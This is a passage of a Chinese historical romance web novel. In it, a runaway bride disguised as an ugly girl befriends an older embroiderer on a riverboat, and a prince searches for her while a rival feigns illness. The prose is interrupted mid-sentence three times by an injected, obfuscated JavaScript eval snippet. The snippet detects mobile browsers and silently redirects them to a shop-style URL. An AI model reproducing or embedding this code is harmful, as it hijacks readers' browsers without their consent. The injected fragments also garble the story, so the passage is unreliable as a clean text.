“《官箴》有言:为官之法,惟有三事,曰清、曰慎、曰勤。知此三者,可以保禄位,可以远耻辱,可以得上之知。”薛满忽然展露笑颜,黑眸灵动,丑中带着机敏,“你姨父是否知晓,你拿他五品官的名头逢人吹嘘,狐假虎威,惹是生非?” “……” 到此,靳小姐已怛然失色。先前她只要搬出姨父的名号,旁人均是百般奉承,大大满足她的虚荣之心。原以为这杨巧燕又穷又丑,任人揉捏,谁能想到她本事了得,三言两语便戳破一切,更精准捉到她的命门,使她毫无招架之力。 姨父若知晓她的行事,决计饶不了她! 她也算能屈能伸,又是行礼,又是可怜兮兮地道歉:“杨小姐,是我小肚鸡肠,冒犯到了你,还望你大人有大量,莫要与我计较。” 薛满没有再追究,沉默地整理起床铺。靳小姐提出要换床铺,又让奶娘帮她一起收拾,都被她冷淡地拒绝。 她赢得轻而易举,心里却无半分欣悦,她十分明白,道歉改变不了既定事实,床铺已被泼湿,三哥已爱上江诗韵,而她也已彻底出局。 真是难过啊。 便在她的情绪即将决堤时,一双带着薄茧的手伸出,替她叠好被打湿的被褥,道:“今晚你睡上铺。” 来人正是佟蓉,她刚洗完衣裳回来,周身仍带着若有若无的皂角气味。 不等她回答,佟蓉又道:“我头疼得厉害,没法爬上爬下,你身为小辈,总该懂尊老爱幼的道理。” 这话有倚老卖老的嫌疑,但她分明看得清楚,薛满的床铺湿得一塌糊涂。 薛满愣怔地望着她,她的眼眸清亮而柔和,在那一瞬间,让薛满联想到已过世的阿娘。 若阿娘还在,定也舍不得让她受这等委屈。 她慢慢红了眼眶,“佟大婶,谢谢您的好意,但是——” “你先听我说。”佟蓉道:“我犯头疾时会意识不清,曾从屋顶摔落,休养了大半年才缓过劲。” 薛满瞪圆了眼,果真? 佟蓉解释:“从上船起,我便想跟你换床铺,苦于没有合适的时机开口罢了。” 那上次她主动跟自己搭话,便是存着换床铺的心思? 薛满渐渐信了她的话,道:“不如这样吧,明日等床铺干了,我再和您换。” 佟蓉却坚持要立马换,薛满最终没拗过她,拎着小小的包袱搬去上铺。 她侧卧在干燥的被褥间,闻到一阵淡淡芬芳,似乎是花香,又似乎是独属于长者,令人安心宁神的力量。 * 经此一事后,靳小姐等人待薛满客客气气,再不敢嘲讽得罪她。而薛满跟佟蓉也变得相熟,在聊天交谈中,得知她远行的内情。 佟蓉祖籍明州,是名绣工精湛的绣娘。她身负顽固头疾,犯病时苦不堪言,多年来一直未得到妥善治疗。两个月前,她听闻名医吴凡在甘埠县出没,于是便从昌源出发,一路乘船西下,希望能访得名医,药到病除。 昌源隶属辽东地区,是个跟高丽国接壤的边陲小镇,离甘埠县足有十万八千里。 “您不是明州人吗,怎会跑去昌源?”薛满好奇,“明州临海,四季如春,而昌源常年寒冷,极少有外地人肯去那里生活。” 佟蓉苦笑,“我有非去不可的理由。” 薛满想了想,转问:“您的家人呢,他们怎么没陪着您一道求医?” 佟蓉眸光微黯,神色皆是怅惘,“我丈夫已逝世多年,而我儿……我亦有多年未见。” “为何?”薛满握拳,愤愤猜测:“莫非您的儿子不忠不孝,嫌您身患顽疾,拒绝掏钱替您看病?” 佟蓉的哀思瞬时跑光,拭着眼角,啼笑皆非地道:“你想岔了,我儿聪慧好学,孝悌忠信,貌似潘安,是这世上难得一见的好儿郎。” 薛满眼中写了三个字:我不信。 佟蓉并不生气,叹息道:“只他肩负重任,有数不尽的事要去完成。” “什么事能比自己的娘亲更重要?”薛满以己度人,“换作是我,哪怕舍弃一切,也要时刻留在娘亲的身旁。” 佟蓉便问:“那你的娘亲呢,如今身在何处?” 薛满的情绪跌到谷底,闷声道:“她在我两岁时便没了。” 佟蓉联想到她之前说的身世:父兄经商失败,家徒四壁,将她前后卖了三回还债……竟也是个失去亲娘庇护的可怜孩子。 她问:“你此番打算去往何处?” 薛满如实道:“我要去白鹿城寻我祖父。” “他会护你周全吗?” “会。”薛满斩钉截铁地道:“他一定会。” “那就好。”佟蓉揽住她的肩,鼓励她的同时也在告诉自己,“无论眼前的路多艰巨,只要知晓远方有亲人在等候,我们便能勇往直前,坚持到底。” 薛满闭眼,感受着从她身上源源不竭传来的暖意,“佟姨,今后等您治好了病,有机会的话,能来白鹿城游玩,顺道看望我吗?” “好。”佟蓉道:“若有机会,我带着我儿一起去看望你。” “……能不带他吗?” “为何?” “我长得丑,怕吓跑他。” “放心,我儿绝非以貌取人之辈。” 薛满没再吭声,可眼里又明明白白浮现四个字:还是不信。 * 在剩余的路程里,佟蓉与薛满日亲日近,彼此都很珍惜这份萍水相逢的缘分。 佟蓉蔼然可亲,处处照拂薛满,教会她不少生活窍门。而薛满撇开外貌不谈,心巧嘴乖,落落大方,让佟蓉打心底生出欢喜。 随着不断接触,佟蓉也从细节处察觉出某些异常。比如薛满的衣裳领口,总会沾到暗黄色的污渍。又比如她右脸的大片黑色胎记,形状时有轻微变化。再比如她从不在人前洗漱换衣,偶尔拉高袖口时,能瞥见白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13638984|141498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得发亮的肌肤…… 她心知薛满有所隐瞒,但出门在外,伪装何尝不是最好的保护色?因此,对薛满的赞赏又添一分。 客船顺流而下,追晚风,逐旭日,终于抵达了终点晏州。 佟蓉与薛满皆要在晏州转乘,两人结伴下船,到卖票的地方打听后得知:去甘埠的船能随买随走,可前往杭州的船因天气恶劣耽搁在了半途,起码得等两天才能到岸。 “不是吧?”薛满郁闷不已,“我特意看过皇历,选得良辰吉日出远门,可自打离家便诸事不利,仿佛老天在跟我作对一般。” “你想多咯。”卖票的小伙子道:“水路行船,遇到狂风暴雨,耽搁几天是常有的事,只要能安全抵达,嘿,一切便好说。” 佟蓉跟着安慰:“他说得对,短短两天而已,我们等得起。” 我们? 薛满摇头,将她拉到身前,“佟姨,您赶紧买票吧。” 佟蓉道:“我不着急,陪你在晏州待两天也无妨。” 薛满道:“您要去甘埠找吴凡看病,自然是越早去越好。” “可是你……” “我会去城里找家客栈,好生休息两天,等去杭州的船来便走。”薛满佯装轻松地道:“您放心,我这么大的人了,完全能照顾好自己。” 在薛满的再三催促下,佟蓉买了最早一班开往甘埠的船票,半个时辰后便出发。 两人站在码头上告别,正是黄昏,瑰丽的火烧云遍布天际,江水倒映着夕阳,波澜绚烂,美不胜收。 “巧燕。”佟蓉的两鬓染上霞光,眼底流淌着真切的不舍,“看来我们得就此分道扬镳了。” 薛满垂眸,带着些微伤感,“是啊,人生似乎总逃不过分离,与相处多年的亲人要分离,与刚相识的朋友也要分离。” “傻孩子。”佟蓉笑道:“换个思路想想,先有分离,人们才会愈加期待重逢。” 薛满勉强打起精神,道:“您说得没错,人生大笑能得几回?待来日你我重逢,定要把酒言欢,不醉不归。” 佟蓉道:“你竟会饮酒?不知酒量如何?” “很差。”薛满如实道:“大概三杯倒的酒量,醉酒后还会忘事。” 佟蓉忍俊不禁,“那还是改成饮茶吧,我们还能多说些知心话。” 说笑几句,离别的忧愁也淡了些。佟蓉从包袱里拿出一个豆青色的荷包,递给薛满道:“这是我绣的荷包,若你不嫌弃,便留着当个纪念。” 薛满当然不嫌弃,她接过荷包仔细端详,见上头绣着栩栩如生的金鱼花样,胖头胖脑,憨态可掬。 “真好看。”她爱不释手地道:“佟姨好厉害,不像我笨手笨脚,苦心学习好久,绣工仍一塌糊涂。” “这有何难?你我约定好了,等再见面时,我认真教,你用心学,不出一个月便能学会。” “一言为定?” “一言为定。” 夕阳渐没,薛满目送佟蓉离开后,在路边招了辆马车前往晏州主城。 不远处,靳小姐与奶娘在路边等候,神色焦灼,不住地踮脚朝远处张望。 “天都快黑了,姨母怎还没派人来接我们?” “小姐莫急,人定已在路上了,您且耐心等等……” 几名官差恰好路过,其中一人打着哈欠,身上酒气未散,“知州大人前些日子传的命令,要我们去码头守着,盘查从京城方向过来的船,遇上独身出门、十五六岁的少女,无论相貌如何,有一个算一个,全部请,记住是‘请’回衙门问话,行事务必低调,不可四处张扬。” “咋,小姑娘是朝廷通缉的要犯吗?” “小姑娘能犯什么事?我估摸跟上次一样,又是哪家的贵女走丢了,想悄摸摸地找回去。” “管那么多干吗,先找到人再说。” “找到可有奖赏?” “奖赏没有,巴掌倒是有很多,你要不要?” 他们嘻嘻哈哈地靠近码头,殊不知要找的人正背道而驰,主动进了晏州城。 20. 第 20 章 趁着天色未黑,薛满在城中找了家客栈入住,时隔半个多月,终于能卸下所有伪装,舒舒服服地洗回热水澡。 房间内浮动着淡淡氤氲,薛满身着单衣,肌肤白里透红,眉眼盈盈动人,仿佛从画中走出的仕女般娉婷袅娜。 她端坐到桌前,打开随身携带的小铜镜,对镜梳理长发。 一下,两下,三下…… 她不由自主地开始出神,回顾这段时间的船上生活,虽备尝辛苦,却非没有收获。 原来外面没有想象中的那么险恶,萍水相逢的亦有好人。譬如佟姨,面善心慈,从未嫌弃过她伪装出的丑陋相貌,反而在靳小姐欺侮她后挺身而出,替她睡湿津津的床铺,为她做新鲜热乎的肉包,还耐心教会她许多生活小妙招。 薛满的唇角轻扬,越想越觉得佟蓉哪哪都好,过了会又撇着嘴想:佟姨是好,她那儿子却不像样。哪有娘亲生病,为人子女不闻不问的?哼,定是佟姨太善解人意,纵得他身在福中不知福。 说到这,她难免鼻尖泛酸。从前她待三哥亦是善解人意,大度包容,可没换来他的珍惜,只得到令人心碎的欺瞒和背叛。 “臭三哥,坏三哥,笨三哥。”她抹着眼泪,绞尽脑汁地,从小声到大声地骂:“我再不稀罕你了,我们的婚事既已作废,你爱跟谁成亲便跟谁成亲去。哼,不识好歹的家伙,我咒你以后霉运缠身,心想事不成,一帆风不顺,出门便逢雨,喝水能塞牙……” 她骂了好一阵才消停,靠在床头,翻出《婢女奋进录》来看。 一灯如豆,烛光影影绰绰。 须臾的工夫,薛满的眼皮便重如千钧,疲惫如浪潮般席卷而来,拖着她沉入睡眠的深渊。 梦里……不对,今夜她没做梦,睡得很是香甜。 ——这世上,有人笑便有人哭,有人睡得酣然,必有人彻夜难眠。 同一片星空下,远在千里外的京城薛府内,被“诅咒”而不自知的裴长旭正负手站在窗前,俊容阴郁,内心翻江倒海。 没有,没有,哪里都没有。 他带人搜遍了京城里外,四处都找不到阿满,她好似石沉大海般失去音讯。此时的他才意识到严重性,阿满并非在闹小性子,她真恼了他,恼到不惜逃婚毁约,离开从小长大的地方,一个人不知去向何处。 自以为是,愚不可及! 他第无数遍地责怪自己:若当初他能早点告知阿满一切,免得她将江书韵误认为其姐,事态根本不会发展至此。阿满不会走,她会安心留在京城待嫁,成为他明媒正娶的王妃。 房内仍维持着她离开时的模样,窗边的花枝已枯萎,香气消失殆尽。梳妆台上摆放着她最中意的嵌贝彩漆首饰盒,桌上是她常用的莲花顶鎏金熏香炉,床上则是她褪下的那身凤冠霞帔。 后日黄昏,他们本该穿上同一套婚服,在众人的见证下结成连理,可事实却是新娘下落不明,独留新郎独守空闺。 他既愤怒又担忧,愤怒自己的蒙昧,担忧阿满的安危。她生性单纯,自小被他们保护得无微不至,乍然落入世俗,若遇上歹人该如何自处? 阿满啊阿满…… 他闭上眼,脑中俱是她的音容笑貌,片刻后,他走到梳妆台前坐下,打开首饰盒,摩挲着关联彼此的每一样物件。 “傻姑娘。”他道:“我怎会不喜欢你?” 这种喜爱绝非一时兴起,是青梅竹马的相处中,日积月累出的习惯与本能。像呼吸般悄无声息,又像山涧泉水般涓流细长,绵绵不断。 激情尚有平复时,但呼吸呢?他要如何戒掉呼吸? 胃中又泛起熟悉的阵阵疼痛,比以往更钻心彻骨,他却没有按医嘱服用药丸。这半月里,他忙得夜以继日,不思饮食。工部的公务,迟卫的命案,阿满的行踪…… 他已筋疲力尽,唯有放任身体的不适,才能保持清醒,坚持到阿满回来的那一刻。 “殿下。”杜洋叩响房门,“属下回来了。” “进。” 杜洋进门,低着头道:“属下已按您的吩咐,往周边各府各州递了消息,命他们注意从京城方向过去的适龄少女,如有薛小姐的消息便第一时间回复。” “外出的探子们可有查到线索?” “……暂时未有。” “半月过去仍一无所获,看来我是养了一群废物。”裴长旭淡地道:“撤了他们的职务,全部赶回老家拽耙扶犁,换一批人再去。” 杜洋本想替他们求情,瞥见主子不善的神色后果断放弃,道:“殿下放心,薛小姐吉人自有天相,在外定能安然无恙。” 裴长旭问道:“白鹿城那边呢?” 杜洋道:“薛太老爷收到消息后,马上在附近的码头和要道安插了人手,可是——” “行了。”裴长旭用力揉按着额际,隐忍着蓬勃欲发的怒意,“下去,我要休息了。” 杜洋没动,“殿下,今晨皇后娘娘派人来问,后日的婚礼该怎么办。” 裴长旭沉默许久,道:“薛小姐突染重病,性命垂危,与端王殿下的婚礼暂且推迟,直至薛小姐康复为止。” 杜洋抱拳,“属下这就去转告皇后娘娘。” 话虽如此,他身子依旧没动,吞吞吐吐地道:“殿下,有件事,属下不知当不当禀告。” “何事?” “是江姑娘,这段时间里,她的婢女来过好几次,均被属下挡了回去,可是——” 可是,可是,又是可是。 裴长旭不耐地抬眸,“杜洋,莫非你也想回老家刨土种地?” 杜洋当下冷汗涔涔,一鼓作气地道:“那婢女方才又匆忙找到府里,称江姑娘午时呕血昏迷,大夫瞧过也无济于事,问您能否派刘太医去南溪别院。” 南溪别院。 裴长旭险些忘了江书韵的病情,他满心记挂阿满,根本无暇关照其他。 杜洋又道:“婢女还说,江小姐已留好遗言,希望死后殿下能将她与姐姐葬在一起,让她们姐妹在地下能骨肉团圆。” 真是病糊涂了,什么话都说得出口。 裴长旭道:“派人去请太医,再备辆马车,随我去趟南溪别院。” 杜洋熟门熟路地驾车来到北郊,刚进别院,竹香便满脸泪痕地冲出来,跪在地上不断磕头。 “殿下,您终于来了,求您救救我家小姐吧!她快不行了,呜呜呜……” 裴长旭皱眉蹙眼,杜洋便呵斥:“殿下既已来了,便有法子救醒江姑娘,还不速去领路!” 竹香连滚带爬地起身,领他们到江书韵的房前,推开房门,一股浓重的药味扑鼻而来。 内室中,江书韵正双眸紧闭,面色惨白,气息奄奄。 裴长旭站在床畔,俯身喊道:“书韵,你能听见我说话吗?” 竹香忍不住出声,“小姐,您睁开眼瞧瞧,是端王殿下来看您了。” 江书韵的食指动了动,紧接着睁开一条缝,吃力地望着裴长旭,“殿、殿下……” 竹香扶她靠坐在床头,惊喜地道:“殿下果真是贤身贵体,您一来,小姐的病情便好转了呢!” 她还想继续往下说,忽见江书韵攥紧被单,立刻识相地闭紧嘴巴。 呃,小姐说过,抓被单是适可而止的意思,看来她的任务已经完成。 “殿下。”江书韵气若游丝地道:“您走吧,千万莫让病气沾到您。” 裴长旭道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13651627|141498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“无碍,太医随后就来,我等他给你看过病再走。” “抱歉。”江书韵轻咬下唇,眸中泛起泪光,“是我太没用,一直拖累殿下。” 裴长旭道:“你无须多想,此事于我不过是举手之劳。” 江书韵长睫轻颤,一行清泪顺着眼角滑落,病弱而楚楚可怜,“殿下是好心,我却受之有愧。后日便是殿下的大喜之日,我无以为报,只能绘一幅《花鸟临枝图》,祝您和薛小姐百年好合,永结同心。” 竹香“心直口快”地道:“小姐便是因绘这幅画,耗费了太多心思,这才加重病情,呕血陷入昏迷。” 裴长旭却未有动容,神色变冷几分,“嗯,我知晓了。” ……这跟她的预想截然不同。 江书韵侧首,开始闷声咳嗽。 裴长旭转向杜洋,“去看看太医到哪了。” 话音刚落,刘太医便领着小徒弟进门,拱手行礼道:“端王殿下,卑职在此。” 裴长旭道:“去替江姑娘诊脉。” 刘太医恭敬应是,他从前亦被召来过南溪别院,对江书韵的病情并不陌生。她是自娘胎带来的病症,按理说,精心休养后能恢复许多。可这江姑娘着实柔弱,经过两年的调理,身骨不见好转,反倒变本加厉。 罢了,总归有端王殿下养着,保命不成问题。 他洋洋洒洒地写出药方,俱是寻常百姓用不起的珍稀药材。 裴长旭看也不看,直接扔给杜洋,“派人去抓药。” 眼看旁人陆续离开,江书韵打起精神,想再同裴长旭说几句话,乍听他道:“我已替你相看好一户人家,等你精神好些,我便安排你们会面,若无异议便择日完婚。” 怎会这般突然? 江书韵适时地敛眸,掩去愕然和不甘,柔声道:“殿下安排便好,我都听您的。” “你可有其他要求?” 江书韵摇头,笑得惆怅,“殿下为我挑的夫婿,必然是万中无一的俊才。然而我的身子不中用,怕连累他往后的子嗣……” “这点你无须担心。”裴长旭道:“我会打点好一切,无人敢有半句闲话。” 江书韵犹豫了会儿,道:“殿下,不瞒您说,昨夜我梦到了姐姐,她托我给您带一句话。” 裴长旭往前半步,“什么话?” “姐姐请殿下忘了她,今后好好生活,莫再觉得亏欠于她。”江书韵哽咽着道:“这些年来,您做的一切她都看在眼里,她心疼您,希望您别再被过往束缚。” 平息的愧疚又复燃,裴长旭叹道:“书韵,答应我,替你姐姐好好活下去。” 江诗韵笑中带泪地点头:“嗯,我答应殿下。” 裴长旭走后,江诗韵的笑容散尽,神色若有所思。 为何殿下要急着将她嫁出去?难道是薛小姐知晓了她的存在,逼迫殿下做出决断? 她辗转反侧一整夜,勉强在清晨入眠,却被竹香硬生生地推醒。 “小姐,端王殿下的婚事推迟了!” “你从何处得到的消息?” “京城都传开了,今早皇城外贴了告示,称薛小姐突染重病,性命垂危,与端王殿下的婚事得往后延,直到薛小姐康复为止。” 江书韵闻言,好半天回不了神。倒是竹香异常兴奋,道:“小姐,依奴婢看,薛小姐跟端王殿下的婚事成不了,端王妃的位子估计要换人来坐。” 她又在想入非非,江书韵却没空戳破她的美梦,心中有个念头肆意疯长。 假设薛小姐去世,殿下定会情绪低迷,渴求安慰,届时便是她乘虚而入的好机会。 所以,薛小姐到底染了哪种疾病,痊愈的机会能有几成? 21. 第 21 章 薛满刚睁开眼,便无端打了三个喷嚏,揉着鼻子思索:是谁一大早在念叨她? 她将京城的亲人们想了一圈,不免垂头丧气。她任性逃婚,破坏裴薛两家的多年情谊,不被他们骂才怪呢。后日便是婚期,也不知京城那头情况如何,姑母会怎么对外解释她的失踪,唉…… 下一瞬,她又收起自责,理直气壮地想:做错事的是三哥和江诗韵,跟她有何干系?活该他们收拾残局! 再说昨晚,薛满一夜无梦,睡得极为餍足。她神清气爽地起床,照旧扮好丑颜,出客栈后见对面停着一排拉车的小食摊,香气远飘十里。 恰好饿了,先去用个早膳。 薛满选了家冷清的摊子,上前问道:“店家,你这有什么吃的?” 摊主是位彪形大汉,脖上挂着汗巾,简短地道:“馄饨。” “有什么馄饨?” “荤素都有。” “那便来碗荤的。” “八文钱,付完去后头坐。” 薛满付完账,挑了张小桌子落座。别看摊主长得粗犷,桌凳倒收拾得干净整洁。 她端正坐好,新奇地打量周围的摊子。有卖葱油饼的,有卖豆浆包子的,还有卖面条的。不少人在此朝食,他们衣着朴素,有说有笑,是俗世里随处可见又鲜活动人的真实写照。 果然是芸芸众生,自得其乐也。 不等薛满感慨完,摊主已端着大碗馄饨上桌,扔下两个字,“慢用。” “谢谢。” 薛满手拿瓷勺,舀起一颗热气腾腾的馄饨,放在嘴边轻轻吹气,再咬了一小口,唔,是荠菜肉馅的,味道很是不赖。 她忽然觉得,在晏州逗留两天并不是件坏事,她可以随处逛逛,吃些街头小食,体验前所未有过的生活。 她正琢磨白日该去哪玩,邻桌来了两位大婶,你一言我一语地聊起天。 “你听说没,昨晚琴娘的丈夫回来了。” “琴娘?是东头村那个琴娘?” “对,就是她。” “她丈夫不是半月前捕鱼时意外落水,被传淹死了吗?” “她丈夫活不见人,死不见尸,她便日日去兴善寺上香,求菩萨能救他一命,没想到真灵验了!” “这么说我倒想起一件事来,七排村的韩大娘家的媳妇,嫁过门五年都怀不上孩子。后来也是去兴善寺拜得菩萨,不出两月便有了身孕。生出来一瞧,是个八斤重的胖小子嘞。” “那我可得去拜拜,我儿今年要参加院试,希望他能猜中试题,顺利考上秀才。” “也带我一个,我女儿到了议亲的年纪,希望她能找个家境殷实的夫家……” 薛满边吃馄饨,边将她们的对话记到心里,兴善寺,真有她们说得那么灵验吗? 她信佛,每年都会去明华寺小住,这次能成功逃婚也是托了明华寺的福。只不过后续的运气略差,要坐的船总会出各种岔子。或许她也该去趟兴善寺,请菩萨保佑她能平安抵达白鹿城。 她慢吞吞地吃完馄饨,待两位大婶走后,向摊主打听,“店家,你知道兴善寺怎么去吗?” 摊主瞥她一眼,“你信那两个娘们儿的话?” “……”薛满不好意思地道:“有点信。” “你小小年纪,不自食其力,却想跟她们一样求神拜佛走捷径?” “你误会了,我是想去求远行平安。” 摊主上下打量,见她不像撒谎,便道:“西城门往南走十二里路,穿过一片林子便能到。” 薛满有些苦恼:那么远吗? “嫌远?” “呃……” “东边街口有许多马车,给十五文钱便能去兴善寺。” “多谢店家。”薛满笑逐颜开,“你真是个好人。” 摊主面无表情,显然不稀罕这个评价,“给你一句忠告。” “你说。” “求神佛不如靠自己,长得丑,更要加倍勤奋。” 薛满简直哭笑不得,想辩解两句,最后还是放弃。罢了,摊主也是一片好心。 她来到东街口,那里仅停着两辆马车,车夫李强和张明正用乡话在闲聊。 “你昨日拉了几个人?” “六个,你呢?” “我只三个,全是去老远的地,回程还拉不着人,真是糟心。” “下回你就别拉远的,近处跑跑得了。” “不成,我前些日子赌钱输了不少,干活要还挑三拣四,你嫂子能提菜刀砍我。” “那我教你一招……” 李强小声嘀咕了几句话,张明听后,半信半疑地问:“这样能行?” “我试过好几回了,保准能行。” 两人交头接耳时,旁边插进一道女声—— “请问,兴善寺能去吗?” 两人齐刷刷地扭头,目不转睛地盯着她。 薛满面不改色,又问了一遍,“兴善寺能去吗?” “能去能去。”张明殷勤地道:“你一个人吗?” “对,要几文钱?” “十五文,走吗?” “走。” 待薛满进了车厢,张明爬上前头,与李强交换眼神后,驾着马车扬长而去。 一路上,张明想发设法地找薛满聊天,可惜对方不爱说话,只礼貌地回了几句。但张明仍从只言片语中得知,对方不是本地人,来晏州是坐船中转,后日便要离开。 张明想到方才李强的话:遇上落单的外地人,你不用跑到终点,在半途随便找个借口放他下去,横竖他认不得路。即便回头找你,你死不承认就好,十几文钱的小事,找到衙门都无人搭理…… 嘿,别说,虽然不厚道,但省时又省力。 张明驾车出城,先是往兴善寺的方向正常走,接近半程时,他东张西望地找了处无人地,急匆匆地停车高呼,“哎哟喂,我的肚子疼死了!” 薛满连忙掀开车帘,“大叔,你怎么了?” 张明捂着肚子,满脸痛楚,“小姑娘,我应当是吃坏了肚子,得立刻找个地方、找个地方纾解一下。” 这是要去……的意思。 薛满忍着尴尬道:“那你赶紧去吧,我在车里等你。” “我这一去不知要多久,怕耽搁了你的时间。要不这样,兴善寺离这只剩百丈路,我少收你一文钱,劳烦你自己走过去?”张明再次强调,“我是真忍不住了,得马上找地方解决。” 薛满没有多想,“行,便按你说的办。” 她数了铜板递给对方,刚下地站稳,便见马车调头,箭矢般冲向远方,瞬时消失在视线尽头。 看来他真的很急啊! 此时的薛满还未意识到不妥,背着小包袱,迈着小步伐,乐观地想:百丈路,走一刻钟便能到,小问题啦。 然后,一刻钟,两刻钟,三刻钟……薛满走得双腿酸痛,前方仍不见兴善寺的踪影。 莫非她走错方向了? 她仔细回忆,确定自己是按车夫指的方向走,那么真相显而易见。 车夫撒谎了。 薛满气愤地踢着石子,“骗子,什么吃坏肚子,分明是装了一肚子坏水。亏你长得人模人样,却只会坑蒙拐骗,欺负弱小。别叫我下回遇见你,否则我定让三哥——” 骂声戛然而止,她讪讪闭嘴,眼里的失落几乎满溢。 从今往后,除去祖父,不会再有人替她头了。 “也罢。”她强颜欢笑地道:“出门在外,哪有不吃亏的呢?” 经此一骗,薛满愈加坚定要去兴善寺的想法,毕竟出城门这么久了,回头走肯定更远。 “天降大任于斯人也,必先苦其心志,劳其筋骨,饿其体肤。”她口中念念有词,“薛满,相信自己,你一定做得到。” 她继续往前赶路,终于进了馄饨摊老板说的林子,但不多时后,便面临一处分岔路口。 两条路各指两个方向,她该往哪边走? 薛满又累又恼,想找个人问路吧,周边连半个影子都没有。唯有草丛里的虫鸣正响,仿佛在嘲笑她的愚蠢。 可恶的车夫,他总会遭报应的! 腹诽归腹诽,问题总得想办法解决。薛满从荷包里拿出一枚铜板,认真地道:“正面左,反面右,铜板啊铜板,你千万不能辜负我的期望,得带我去正确的路哦。” 铜板若是能出声,这会定要大声拒绝:我不要!我不行!我只是个小小铜板!承担不起选择的重任! ……遗憾的是它不会出声。 它被主人高高抛起,重重落地,在蓝天白云的见证下,袒露“景丰通宝”四字。 “正面,我懂了。”薛满道:“走左边的道。” 她毫不犹豫地走向左边,走着走着,前方的景色豁然明媚。路边草丛冒出五颜六色的花朵,蝴蝶们正栖息采蜜。两旁出现郁郁葱葱的松林,飞鸟们自高空掠过,鸣声清脆悦耳。 好一副天高云淡,鸟语花香的画面! 未等薛满赞叹完,远处一大片阴云快速游移。眨眼的功夫,天空已被闷沉倾袭,电闪若隐若现。 糟糕,这是要下暴雨的征兆。 薛满顾不得其他,一头冲进树林,四处寻找能避雨的地方。也是她走运,赶在变天前找到一间废弃的石屋。 石屋破旧不堪,木质的门窗已残毁,好在屋体完好,总比躲在树底要安全。 她收整出角落,抱腿坐下,安静地望着窗外。 闷雷阵阵,周遭弥漫着风雨欲来的气息,这般场景似曾相识。 许多年前,她与三哥在游玩时遭歹人劫持,被关在深山老林的洞穴中。山洞漆黑无比,他们惶恐不安,饥寒交加,只能靠依偎获取温暖和力量。 趁着歹人疏忽之际,他们奋力逃离山洞。天空泼着倾盆大雨,他们握紧彼此的手,奔跑在没有边际的深林中。然而歹徒很快追上了他们,面对近在咫尺的危险时,三哥推开了她,朝她笑道:阿满,我拦住他们,你先走。 她哭到说不出话,只一个劲地摇头,不肯抛下他独自逃生。 后来他们终是获救,但阿爹代替他们,永远留在了那片深林。 “还是话本好。”薛满低语:“话本里什么都有。” 坏人会被绳之以法,好人会名扬天下,哪怕经历磨难,主角们的人生亦能圆满。 一声震耳欲聋的雷鸣后,豆大的雨点砸落窗沿。在噼里啪啦的雨声里,薛满拿出《婢女奋进录》,翻到最后几页,火速投入其中。 话接上回,小少爷悲催落难,小果决意帮他重整旗鼓。她背着他走出乱葬岗,找大夫替他治好疯病,还顺带医好了瘸腿。紧跟着,两人跋山涉水地来到京城,小果拿出全部积蓄给小少爷做生意,为他出谋划策,殚精竭力。 小少爷没有辜负她的期望,将怨恨化为动力,仅耗时三年,便成为京城炙手可热的皇商新贵。与此同时,小少爷暗中收集家主谋害父母的罪证,待到万事俱备,带着小果衣锦还乡。 家主见少爷死而复生,便想故技重施,再次斩草除根。小果提出将计就计,在钦差大人的帮助下,将家主及其党羽尽数缉拿。 小少爷大仇得报,夺回属于自己的家产,尘埃落定后,他提出要娶小果为妻,被她断然拒绝。 小果直言不想嫁人,对少爷仅有主仆情谊。少爷失望之余,对她肃然起敬。 故事的结尾,小少爷娶妻生子,儿孙满堂。小果则终生未嫁,以管家的身份,一直陪伴在他们左右。 好一个清新脱俗,皆大欢喜的结局! 薛满心潮澎湃,久久难以平静。她敬佩小果的忠心耿耿,更向往她的果敢清醒。 换位思考下,若自己是小果,能否做到她十分之一的优秀? ——瞧,薛满改不掉老毛病,看话本又走火入魔了。 这厢她仍沉浸在故事里,另一厢,一名玄衣男子拖着受伤的左腿,在林间艰难地逃跑。 雨水淋湿他俊美的面庞,却浇不熄灼灼眸光。即便在逃亡时刻,许清桉仍沉着冷静,分毫不显狼狈。 是他大意了,没想到贾松平为二十万两银子,便对他痛下杀手。 他身为监察御史,掌分察百僚,巡按州府之责。此番南下巡查四大直隶州,自然搜集了不少官员的罪证。换做旁人,必会惹来杀身之祸,但他一路高枕无忧,盖因身后有恒安侯府撑腰。 老恒安侯的威名远近闻名,谁会想不开去残害他唯一的嫡孙?怕九族活得太安逸? ……贾松平他敢! “蠢东西。”他暗暗骂道:“小小州同,非但敢贪污二十万两白银,还敢派人追杀朝廷命官,真是向天借的狗胆。” 今日是他大意,除了俊生,未带一名司卫出门,这才给了贾松平可趁之机。贾狗官的结局可想而知,而当务之急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13665680|141498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他得活着回去。 